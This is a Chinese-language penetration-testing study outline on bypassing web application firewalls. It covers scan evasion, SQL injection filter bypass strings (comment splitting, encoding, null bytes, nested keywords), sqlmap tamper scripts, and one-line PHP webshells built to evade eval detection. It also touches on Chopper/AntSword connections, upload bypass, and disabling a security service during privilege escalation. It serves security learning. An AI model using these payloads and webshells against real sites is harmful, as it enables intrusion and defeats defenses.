渗透测试学习 二十八、WAF绕过详解

时间:2023-03-08 16:40:25

大纲:

WAF防护原理讲解

目录扫描绕过WAF

手工注入绕过WAF

sqlmap绕过WAF

编写salmap绕过WAF

过WAF一句话编写讲解

菜刀连接绕过WAF

webshell上传绕过WAF

提权绕过WAF

WAF绕过原理详解

知己知彼百战百胜

了解WAF防护原理

查看WAF防护位置

熟悉防护规则

了解防护机制

查看拦截时间阀值

目录扫描绕过WAF

两种方式:

1、修改客户端IP

2、减慢扫描速度

3、通过代理欺骗WAF

手工注入绕过WAF

搭建测试环境

了解绕过原理

熟悉常见绕过构造语句

构造绕过测试环境

搭建环境

利用mysql客户端

配置注入源码

注入绕过方法

1、大小写变种

2、SQL注释

3、URL编码

4、空字节

5、嵌套、剥离

6、非标准入口点

7、避开自定义过滤器

使用注释

union select 1,2,3 from admin

注释完

/**/union/**/select/**/1,2,3 from admin

/**/un/**/io/**/n/**/sel/**/ec/**/t/**/ 1,2,3 from admin

第二种注释

/*!and*/ 1=2

URL编码

正常编码

‘为%27

1=52f        *=%2a     %=%25

/**/=%25 2f%25 2a*1

空字节

一些过滤器处理输入时,碰到拿到空字节就会停止处理。

如:

id=1%00and1=2

嵌套剥离

一些过滤器将用户的输入进行剥离敏感函数

应对方法:
                   seleselectect

剥离后

select

总结编写绕过语句

利用注释

/*^abc^*/

包含关键字

/*!/*!/*!union*/

变换提交方式

get->post方式或cookie

sqlmap tamper利用

symboliclogical.py

space2mssqlhash.py

appendnullbyte.py

利用修改tamper绕过waf

尝试编写过waf一句话

思路:

利用可变变量

$a=b         $b=c                   $$a=c

利用函数

利用判断语句

利用编码

<?php

@eval($_POST[x]);

?>

会拦截eval函数

<?php

@$_GET[a]($_post[x]);

?>

a:动态的传参,传eval函数或assert等函数

突破waf拦截连接菜刀

用最新版的菜刀

中国蚁剑

过狗菜刀+中转脚本

上传过waf

上传突破禁止上传PHP脚本

1、文件包含

2、双文件上传突破限制

3、修改上传参数

提权过waf

通过程序读密码

利用waf绕过神器

利用exp读hash

将用户添加到远程桌面组,并给目录降权

用第三方软件提权

system把安全狗服务停止,重启服务器